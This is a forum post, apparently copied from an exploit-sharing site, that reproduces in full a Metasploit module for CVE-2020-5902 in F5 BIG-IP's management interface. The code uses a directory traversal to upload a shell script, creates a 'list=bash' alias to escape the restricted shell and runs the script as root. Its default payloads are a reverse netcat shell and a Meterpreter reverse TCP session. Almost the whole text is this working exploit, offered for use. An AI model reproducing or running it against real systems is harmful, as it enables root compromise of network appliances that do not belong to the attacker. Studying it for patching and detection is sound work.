Hoşgeldin Misafir

F5 BIG-IP TMUI Directory Traversal / File Upload / Code Execution Exploit

greenbone

4 Eyl 2022
2,020 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Kod:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
 
  Rank = AverageRanking
 
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Deprecated
  moved_from 'exploit/linux/http/f5_bigip_tmui_rce'
 
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'F5 BIG-IP TMUI Directory Traversal and File Upload RCE',
        'Description' => %q{
          This module exploits a directory traversal in F5's BIG-IP Traffic
          Management User Interface (TMUI) to upload a shell script and execute
          it as the Unix root user.
 
          Unix shell access is obtained by escaping the restricted Traffic
          Management Shell (TMSH). The escape may not be reliable, and you may
          have to run the exploit multiple times. Sorry!
 
          Versions 11.6.1-11.6.5, 12.1.0-12.1.5, 13.1.0-13.1.3, 14.1.0-14.1.2,
          15.0.0, and 15.1.0 are known to be vulnerable. Fixes were introduced
          in 11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6, and 15.1.0.4.
 
          Tested against the VMware OVA release of 14.1.2.
        },
        'Author' => [
          'Mikhail Klyuchnikov', # Discovery
          'wvu' # Analysis and exploit
        ],
        'References' => [
          ['CVE', '2020-5902'],
          ['URL', 'https://support.f5.com/csp/article/K52145254'],
          ['URL', 'https://www.ptsecurity.com/ww-en/about/news/f5-fixes-critical-vulnerability-discovered-by-positive-technologies-in-big-ip-application-delivery-controller/']
        ],
        'DisclosureDate' => '2020-06-30', # Vendor advisory
        'License' => MSF_LICENSE,
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => true,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'DefaultOptions' => {
                'CMDSTAGER::FLAVOR' => :bourne,
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 1,
        'DefaultOptions' => {
          'SSL' => true,
          'WfsDelay' => 5
        },
        'Notes' => {
          'Stability' => [SERVICE_RESOURCE_LOSS], # May disrupt the service
          'Reliability' => [UNRELIABLE_SESSION], # Seems a little finicky
          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]
        }
      )
    )
 
    register_options([
      Opt::RPORT(443),
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
 
    register_advanced_options([
      OptString.new('WritableDir', [true, 'Writable directory', '/tmp'])
    ])
  end
 
  def check
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => dir_trav('/tmui/locallb/workspace/fileRead.jsp'),
      'vars_post' => {
        'fileName' => '/etc/f5-release'
      }
    )
 
    unless res
      return CheckCode::Unknown('Target did not respond to check.')
    end
 
    unless res.code == 200 && /BIG-IP release (?<version>[\d.]+)/ =~ res.body
      return CheckCode::Safe('Target did not respond with BIG-IP version.')
    end
 
    # If we got here, the directory traversal was successful
    CheckCode::Vulnerable("Target is running BIG-IP #{version}.")
  end
 
  def exploit
    create_alias
 
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
 
    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager(temp: datastore['WritableDir'])
    end
  ensure
    delete_alias if @created_alias
  end
 
  def create_alias
    print_status('Creating alias list=bash')
 
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => dir_trav('/tmui/locallb/workspace/tmshCmd.jsp'),
      'vars_post' => {
        'command' => 'create cli alias private list command bash'
      }
    )
 
    if res.nil? || (error = parse_error(res))
      case error
      when /private "list" \(list\) already exists/
        print_error('Alias "list" already exists, deleting it')
        delete_alias
 
        # Try to create the alias again
        return create_alias
      when /java\.lang\.NullPointerException/
        print_error('Encountered java.lang.NullPointerException, retrying!')
 
        # XXX: Try to create the alias until we're successful
        return create_alias
      end
 
      fail_with(Failure::UnexpectedReply,
                "Failed to create alias list=bash#{error}")
    end
 
    @created_alias = true
 
    print_good('Successfully created alias list=bash')
  end
 
  def execute_command(cmd, _opts = {})
    vprint_status("Executing command: #{cmd}")
 
    upload_script(cmd)
    execute_script
  end
 
  def upload_script(cmd)
    print_status("Uploading #{script_path}")
 
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => dir_trav('/tmui/locallb/workspace/fileSave.jsp'),
      'vars_post' => {
        'fileName' => script_path,
        'content' => cmd
      }
    )
 
    if res.nil? || (error = parse_error(res))
      fail_with(Failure::UnexpectedReply,
                "Failed to upload #{script_path}#{error}")
    end
 
    register_file_for_cleanup(script_path)
 
    print_good("Successfully uploaded #{script_path}")
  end
 
  def execute_script
    print_status("Executing #{script_path}")
 
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => dir_trav('/tmui/locallb/workspace/tmshCmd.jsp'),
      'vars_post' => {
        'command' => "list #{script_path}"
      }
    }, 3.5)
 
    # No response may mean the service is blocking on payload execution
    return unless res && (error = parse_error(res))
 
    case error
    when /unexpected argument/
      print_error('Alias "list" does not exist, attempting to create it again')
      create_alias
 
      # Try to execute the script again... smdh
      return execute_script
    when /java\.lang\.NullPointerException/
      print_error('Encountered java.lang.NullPointerException, retrying!')
 
      # XXX: Try to execute the script until we're successful
      return execute_script
    end
 
    print_error("Failed to execute #{script_path}#{error}")
  end
 
  def delete_alias
    print_status('Deleting alias list=bash')
 
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => dir_trav('/tmui/locallb/workspace/tmshCmd.jsp'),
      'vars_post' => {
        'command' => 'delete cli alias private list'
      }
    )
 
    if res.nil? || (error = parse_error(res))
      case error
      when /user alias \(list admin\) was not found/
        print_good('Alias "list" does not exist or was already deleted')
        return
      when /java\.lang\.NullPointerException/
        print_error('Encountered java.lang.NullPointerException, retrying!')
 
        # XXX: Try to delete the alias until we're successful
        return delete_alias
      end
 
      print_warning("Failed to delete alias list=bash#{error}")
      return
    end
 
    print_good('Successfully deleted alias list=bash')
  end
 
  def parse_error(res)
    return unless res
 
    error =
      case res.code
      when 200
        res.get_json_document['error']
      when 500
        # This is usually a java.lang.NullPointerException stack trace
        res.get_html_document.at('//pre')&.text
      else
        res.body
      end
 
    return if error.blank?
 
    ":\n#{error.strip}"
  end
 
  def dir_trav(path)
    # PoC courtesy of the referenced F5 advisory: <LocationMatch ".*\.\.;.*">
    normalize_uri(target_uri.path, '/tmui/login.jsp/..;', path)
  end
 
  def script_path
    @script_path ||=
      normalize_uri(datastore['WritableDir'], rand_text_alphanumeric(8..42))
  end
 
end
 
#  0day.today [2024-02-15]  #